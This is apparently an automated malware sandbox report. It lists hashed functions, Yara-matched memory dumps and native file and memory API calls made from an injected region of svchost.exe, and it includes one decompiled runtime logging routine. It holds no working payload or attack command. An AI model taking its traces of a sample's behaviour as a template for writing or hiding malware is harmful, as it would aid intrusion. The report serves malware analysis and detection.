Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 236765fa62f6d6a2ce8f3b7870c313acc4a12b400dfc6734726525d768598d5e
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: 00C08C32080248BBC7126A49CD01F017B29E790BA0F000020B6040A6A28932E860E588

Uniqueness

Uniqueness Score: -1.00%

Function 00C136CC, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: dcdb6fe6ce7ce9579f66139b535bbc5f474a1b1764db42d8dbe6460805ada601
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: C3C02BB0150880BBD7196F30CE01F557254F701B31F6403647330454F0E5299D00F100

Uniqueness

Uniqueness Score: -1.00%

Function 00BF76E2, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 8912b2ca660147b1ef245244603e2f8f11af4748c225cb33802bf90d6c1c0f84
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 1EC08C701899886AEB2A5708CE21B303690EB08708F4802ECBB018A4E2D768BC06C288

Uniqueness

Uniqueness Score: -1.00%

Function 00C07D50, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: d4c3e3ba2d0fb6dfe39e4ed2a5ef17ec42ae35f867fe7e5db06d29eee3de76bf
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: 13B09234301A408FCE1ADF18C080B1533E4BB44B40B8400D0E400CBA20D229EA00C900

Uniqueness

Uniqueness Score: -1.00%

Function 00C12ACB, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 699cb3b530393927dad959173c20c93408014158a1bae7a3046557ed5f54ec09
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 43B01232C10444CFCF02EF40C650B397372FB00750F0544D0A11177932C228EC01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00C298A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d13e41dfaa820086bdca435f8af171aad692e948384cbc1da111b8e8273cde4c
Instruction ID: 2a121398ef9b92ca89617ee1d63622efa4a51beed5e5f6a1b214977b377770be
Opcode Fuzzy Hash: d13e41dfaa820086bdca435f8af171aad692e948384cbc1da111b8e8273cde4c
Instruction Fuzzy Hash: 2D9002A132100502D602615964146060109D7D1386FA1D022E1424555D86658963F172

Uniqueness

Uniqueness Score: -1.00%

Function 00C2B040, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53c1331bd482d9e13ee015a25eb04473a310b1f6d692f8fd9306dc9549423ee
Instruction ID: 2fee95845be977b24b8a9bf53bd1b2e801f876338acd741bc4d2e88997b785e2
Opcode Fuzzy Hash: f53c1331bd482d9e13ee015a25eb04473a310b1f6d692f8fd9306dc9549423ee
Instruction Fuzzy Hash: 459002E1621141434A40B15968044065115A7E13427A1D131A0454560C86A88865E2A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C29820, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 854a9f21923be1fb3fac7904e89905adbe72a93c5479e2abeeed3326fee38fd3
Instruction ID: 2e6d0f63ad8ae9328f064de67a8215b2198d33b76aced7c129c5ebab35495371
Opcode Fuzzy Hash: 854a9f21923be1fb3fac7904e89905adbe72a93c5479e2abeeed3326fee38fd3
Instruction Fuzzy Hash: E29002B126100502D641715964046060109A7D0382FA1D022A0424554E86958A66FAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C299D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b09a1bc9bc9afbefa2c62d72025f6b89f24a50f1ac9473446c7d076f30b4a35
Instruction ID: cfa079f52e590e074eeb73f9c0d0da38ed7fafa9f9a3c8cd6feb04f65b1fe7b5
Opcode Fuzzy Hash: 4b09a1bc9bc9afbefa2c62d72025f6b89f24a50f1ac9473446c7d076f30b4a35
Instruction Fuzzy Hash: 469002E123100142D60461596404706014597E1342F61D022A2154554CC5698C71A165

Uniqueness

Uniqueness Score: -1.00%

Function 00C29950, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5327e0f319e37b00d3350855d3bd838e13548840f1ee85600155f8a68142153
Instruction ID: 7b91c55868fa640606e59dc87692d65b3ff529ec2775453b952c0b0115785fe7
Opcode Fuzzy Hash: f5327e0f319e37b00d3350855d3bd838e13548840f1ee85600155f8a68142153
Instruction Fuzzy Hash: 799002E122140503D64065596804607010597D0343F61D021A2064555E8A698C61B175

Uniqueness

Uniqueness Score: -1.00%

Function 00C29A80, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79002f1f531d14d66b462adae09082d65743d01bd4c80ce0519f17acb45a8409
Instruction ID: d5111bf74708527f96c8bb9d880ac6c82cc55e15d306af0c124a47428d77ea86
Opcode Fuzzy Hash: 79002f1f531d14d66b462adae09082d65743d01bd4c80ce0519f17acb45a8409
Instruction Fuzzy Hash: A89002A122144542D64062596804B0F420597E1343FA1D029A4156554CC9558865A761

Uniqueness

Uniqueness Score: -1.00%

Function 00C29A10, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a72f4911982a8b8cc8c309c093c97eeec9ff14d70e18d075106292b9eb6be98
Instruction ID: 71284ed602a2edef9f49db8baf1698544ba0fd4276d5f70d4f221c3e09681487
Opcode Fuzzy Hash: 2a72f4911982a8b8cc8c309c093c97eeec9ff14d70e18d075106292b9eb6be98
Instruction Fuzzy Hash: B79002B122140502D60061596808747010597D0343F61D021A5164555E86A5C8A1B571

Uniqueness

Uniqueness Score: -1.00%

Function 00C2A3B0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5669371b70a2988daf4c38c6ed0001bd5bc78228dd0e99bab7e628e28e3d7741
Instruction ID: e8cbca7b528ea50e655b2babefae2aee02ef4ab253abfed8a92ba48c02d29ee3
Opcode Fuzzy Hash: 5669371b70a2988daf4c38c6ed0001bd5bc78228dd0e99bab7e628e28e3d7741
Instruction Fuzzy Hash: 309002B122144102D6407159A44460B5105A7E0342F61D421E0425554C86558866E261

Uniqueness

Uniqueness Score: -1.00%

Function 00C29B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daebe8896aa3fea9a2fdd5fa99a33d7ceb0c2bcf80a9c636399730aee2757439
Instruction ID: 19fadd2a364cb43abe6d61388c442b021dbdb70f1fce0c8eb1eea64c029f90d0
Opcode Fuzzy Hash: daebe8896aa3fea9a2fdd5fa99a33d7ceb0c2bcf80a9c636399730aee2757439
Instruction Fuzzy Hash: 819002A126100902D6407159A4147070106D7D0742F61D021A0024554D86568975B6F1

Uniqueness

Uniqueness Score: -1.00%

Function 00C295F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cfe28906cf7e24234d511a4fcfe8718cff6ebe27d0e4528779c4232cf8da96b
Instruction ID: 54eb6a571303f7ec75e834ed2f8fce56d9f6c7585ce7ef319ddbd3fa214998ef
Opcode Fuzzy Hash: 8cfe28906cf7e24234d511a4fcfe8718cff6ebe27d0e4528779c4232cf8da96b
Instruction Fuzzy Hash: E69002B122100902D60461596804686010597D0342F61D021A6024655E96A588A1B171

Uniqueness

Uniqueness Score: -1.00%

Function 00C29560, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ffac80c19a3823ac29fcc775182d394e37f804151545346b28870b944376d3
Instruction ID: 271796278df357bad4deee0f44f57b5d62b325f31649b537bbdd0fe254fb7402
Opcode Fuzzy Hash: 45ffac80c19a3823ac29fcc775182d394e37f804151545346b28870b944376d3
Instruction Fuzzy Hash: 839002A5231001020645A559260450B0545A7D63927A1D025F1416590CC6618875A361

Uniqueness

Uniqueness Score: -1.00%

Function 00C29520, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdb7b3cabd52c45682ee4392ea3d21eb6b01a351849d85c8985a8755fe2dc4d8
Instruction ID: 6d7175d7d06c8abfe1a73a583d056b4c91b9c75b689d5d9a12acabf8f4cd7a76
Opcode Fuzzy Hash: bdb7b3cabd52c45682ee4392ea3d21eb6b01a351849d85c8985a8755fe2dc4d8
Instruction Fuzzy Hash: 5C9002E1221141924A00A259A404B0A460597E0342F61D026E1054560CC5658861E175

Uniqueness

Uniqueness Score: -1.00%

Function 00C2AD30, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2138992b6e03d961fa44686bccb088f41a7606a67b5c28e1ca79badcbc7c6f5
Instruction ID: 0b430aebfffe0432406c51ab3f199284030409a4b6bcaa9b60dd7d6c477c70d4
Opcode Fuzzy Hash: b2138992b6e03d961fa44686bccb088f41a7606a67b5c28e1ca79badcbc7c6f5
Instruction Fuzzy Hash: 659002B1A25001129640715968146464106A7E0782F65D021A0514554C89948A65A3E1

Uniqueness

Uniqueness Score: -1.00%

Function 00C296D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3be5647845172618b703cfd46649c49792ee9bef01aa1672d47ea5fc4830e58
Instruction ID: 4780682ef170f8e50222bb57ffbcd7ba3295b6edb2a1d11f098e642bfa54ac91
Opcode Fuzzy Hash: e3be5647845172618b703cfd46649c49792ee9bef01aa1672d47ea5fc4830e58
Instruction Fuzzy Hash: 3A9002B122100942D60061596404B46010597E0342F61D026A0124654D8655C861B561

Uniqueness

Uniqueness Score: -1.00%

Function 00C29650, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 821a37884a28afcc691a6b74ef7fb56e8afda4201bf3c8aaae465b4c628aea19
Instruction ID: a1deba772835ebc8eb9926afdab138cc49ffaf7ced165f235f97d793e4fb9952
Opcode Fuzzy Hash: 821a37884a28afcc691a6b74ef7fb56e8afda4201bf3c8aaae465b4c628aea19
Instruction Fuzzy Hash: 7A9002B122504942D64071596404A46011597D0346F61D021A0064694D96658D65F6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29610, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 461030f00d1e51ff4cae10bf6c95c11400887badac6404934e8083a3ef32544d
Instruction ID: e9a53a37a919298c727a839c76d64a41f72ef9e8af3a1f754008b0b8921428a6
Opcode Fuzzy Hash: 461030f00d1e51ff4cae10bf6c95c11400887badac6404934e8083a3ef32544d
Instruction Fuzzy Hash: 8C9002B162500902D65071596414746010597D0342F61D021A0024654D87958A65B6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29760, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfd2fe3e73d88612ca6f09072b5c4132ad23a1302fc3774bb6faba3b9dffb713
Instruction ID: 943e70cc62eaf60baa78f52dd5f1534cdf4867fbc2453876c2e5826560722504
Opcode Fuzzy Hash: dfd2fe3e73d88612ca6f09072b5c4132ad23a1302fc3774bb6faba3b9dffb713
Instruction Fuzzy Hash: 309002B122100503D60061597508707010597D0342F61E421A0424558DD6968861B161

Uniqueness

Uniqueness Score: -1.00%

Function 00C29770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c49621a21a51373ec61e6d175c364bb7cc56bef6a86a7424e9ba1828e29cd7b
Instruction ID: a9b8289c413592dfe61173c2d3fcc68e04075f8691b1aa086e8d1bb0db81c15e
Opcode Fuzzy Hash: 7c49621a21a51373ec61e6d175c364bb7cc56bef6a86a7424e9ba1828e29cd7b
Instruction Fuzzy Hash: 1D9002A122504542D60065597408A06010597D0346F61E021A1064595DC6758861F171

Uniqueness

Uniqueness Score: -1.00%

Function 00C2A770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c2cdb40b08f4e2edfe2c647051299cdb3e66376751bb34f14bd7bd393b727d
Instruction ID: 11189139c478a674d7fd9bfa6f761c0bd8ff8aa725f22ff40a17e63f84207241
Opcode Fuzzy Hash: 87c2cdb40b08f4e2edfe2c647051299cdb3e66376751bb34f14bd7bd393b727d
Instruction Fuzzy Hash: C39002B522504542DA0065597804A87010597D0346F61E421A042459CD86948871F161

Uniqueness

Uniqueness Score: -1.00%

Function 00C2A710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a73550622dc2a06eff7d150b6fcf31bbe24181c7c21076215309f0390b1b251
Instruction ID: 2c766effe5962d756c5b789a719d28acbce14af5b880c44faa71255c669f9c17
Opcode Fuzzy Hash: 9a73550622dc2a06eff7d150b6fcf31bbe24181c7c21076215309f0390b1b251
Instruction Fuzzy Hash: 219002B1321001529A00A6997804A4A420597F0342F61E025A4014554C85948871A161

Uniqueness

Uniqueness Score: -1.00%

Function 00C29730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a5f7bd9337682c804f4ac7ccd982c43977c821e47f2188654a90298710283bb
Instruction ID: b0b06b9f760477e2707609e77e6bbdcb5b7dffb5b4dd9a4d4624a683dc5d0074
Opcode Fuzzy Hash: 4a5f7bd9337682c804f4ac7ccd982c43977c821e47f2188654a90298710283bb
Instruction Fuzzy Hash: 699002A162500502D64071597418706011597D0342F61E021A0024554DC6998A65B6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29670, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 58072552ea014f5239610b7d252714b216d00c8d65a1b7c193cfe75a21c291c2
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00C7FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00C7FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E00C2CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E00C75720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E00C75720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x00c7fdda
0x00c7fde2
0x00c7fde5
0x00c7fdec
0x00c7fdfa
0x00c7fdff
0x00c7fe0a
0x00c7fe0f
0x00c7fe17
0x00c7fe1e
0x00c7fe19
0x00c7fe19
0x00c7fe19
0x00c7fe20
0x00c7fe21
0x00c7fe22
0x00c7fe25
0x00c7fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00C7FDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00C7FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00C7FE2B

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 42a327e9f9fe8c56628eb3170436e88d3c58b58dc64c97a3bd8c8ce164a9fc80
Instruction ID: 88a5d5a3d55efaae925151bd760e0725c00de396db6a47c6af9fc178524108ac
Opcode Fuzzy Hash: 42a327e9f9fe8c56628eb3170436e88d3c58b58dc64c97a3bd8c8ce164a9fc80
Instruction Fuzzy Hash: FCF0F632200641BFD6241A55DC42F23BB6AEB44730F248315F628566E1EAA2FC20A6F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exe PID: 6712 Parent PID: 3424 svchost.exeCOMMON

Executed Functions

Function 00F781C0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00F73B97,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00F73B97,007A002E,00000000,00000060,00000000,00000000), ref: 00F7820D

Strings

.z`, xrefs: 00F781FD, 00F78208

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: a584a8c7ced55b82d4a4c652919b32ec45a63cda6c4ee88fb81abac438823d39
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: E3F0B6B2200108AFCB08CF88DC85DEB77ADAF8C754F158248FA0D97241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F7826A, Relevance: 1.5, APIs: 1, Instructions: 37filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(00F73D52,5E972F59,FFFFFFFF,00F73A11,?,?,00F73D52,?,00F73A11,FFFFFFFF,5E972F59,00F73D52,?,00000000), ref: 00F782B5

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7e59f4bc5f9327e7a58da90a61b0be8899ffba4fca823c1f762f639735210632
Instruction ID: 3081e2a15e9c83429cf275e2ff8af510d22c7a1b38c8ec1f56352303fb766244
Opcode Fuzzy Hash: 7e59f4bc5f9327e7a58da90a61b0be8899ffba4fca823c1f762f639735210632
Instruction Fuzzy Hash: E3F0F4B2204108AFCB14CF98CC94EEB7BA9AF9C354F158649FA1D97241DA30E811CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F782EB, Relevance: 1.5, APIs: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00F73D30,?,?,00F73D30,00000000,FFFFFFFF), ref: 00F78315

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: d628d0e73511ab89c894acb17678167994e9dd2762e9bd8305a20f7527aca1fa
Instruction ID: 1d77f1d52cb53abfdfeacab9ef976d0537fb6b71ac585f58a1d17b56fd6a446b
Opcode Fuzzy Hash: d628d0e73511ab89c894acb17678167994e9dd2762e9bd8305a20f7527aca1fa
Instruction Fuzzy Hash: 5FF082B6240214BFDB10EF98DC84EEB73ADEF88360F108559FA4C9B241D630E91187A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F78270, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(00F73D52,5E972F59,FFFFFFFF,00F73A11,?,?,00F73D52,?,00F73A11,FFFFFFFF,5E972F59,00F73D52,?,00000000), ref: 00F782B5

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 75ee705cb38e3d644826b5b3534cec9259c01fc7a21fbd370b16f218d98a8336
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 38F0A4B2200208AFCB14DF89DC85EEB77ADAF8C754F158649BA1D97241DA30E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F783A0, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00F62D11,00002000,00003000,00000004), ref: 00F783D9

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 99f0e641bec86c9f5475ba71635a6ddcd2e048f9ee3121a9848728c8a123bca1
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 92F015B2200208AFCB14DF89CC81EAB77ADAF88750F118549FE0897241CA30F811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F7839D, Relevance: 1.5, APIs: 1, Instructions: 29memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00F62D11,00002000,00003000,00000004), ref: 00F783D9

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 4d6d36dd84e1a1391cb6427e3fc299f4123159fc56a6b32f3078b5f9a6abeec3
Instruction ID: bf8e146ad6b1012637697529d696e38442c6c7b22163e41d5347fe369a461a76
Opcode Fuzzy Hash: 4d6d36dd84e1a1391cb6427e3fc299f4123159fc56a6b32f3078b5f9a6abeec3
Instruction Fuzzy Hash: EDF01CB5200108AFDB14DF88CC81EE777A9AF88350F158549FE1897281C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F782F0, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00F73D30,?,?,00F73D30,00000000,FFFFFFFF), ref: 00F78315

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: ad37ac8f7c15a52a97f1d66684ff65959aad5f52f4faf93c834bf1e75c1242ad
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: E6D012752402146BD710EF98CC45E97775CEF44750F154455BA1C5B242C930F90186E0

Uniqueness

Uniqueness Score: -1.00%

Function 03C69A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C69A5A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 962cad0eb1da6451e1265bce3953f2aad6ede487050825baa4fb269237a718ea
Instruction ID: 9239defae53c04ccde04df62d21284a1429d272b0c9fa91ae8c2ad4c60cb3250
Opcode Fuzzy Hash: 962cad0eb1da6451e1265bce3953f2aad6ede487050825baa4fb269237a718ea
Instruction Fuzzy Hash: 9C9002A121184542E201A5694C18B0711099BD0343F61C115A415D554CCA5588616561

Uniqueness

Uniqueness Score: -1.00%

Function 03C699A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C699AA

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
